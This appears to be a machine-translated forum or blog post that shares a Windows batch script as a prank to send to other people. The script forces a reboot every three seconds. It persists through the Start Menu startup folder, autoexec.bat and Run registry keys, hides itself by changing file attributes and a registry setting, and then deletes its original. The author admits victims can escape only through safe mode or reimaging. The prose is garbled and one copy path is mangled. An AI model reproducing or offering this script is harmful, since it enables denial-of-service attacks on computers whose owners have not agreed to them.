Batch processing with repeated restart can be realized


I’ll send some little things to others when I’m bored   hey   Don’t come to me when something happens

Batch restart repeatedly     seeing the name of a thing one thinks of its function   Is to let others start and restart   Keep repeating… No more nonsense   Look at the code below

@echo off
shutdown -r -t 3 
copy  % 0   C:\Documents”  ” and”   “Settings\All”   Users \ start menu \ programs \ start \ a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0

Restart in 3 seconds     Added startup item     The power on will count down to 3 seconds   hey     If you don’t want to restart   Just go to safe mode or ghost   I have no other way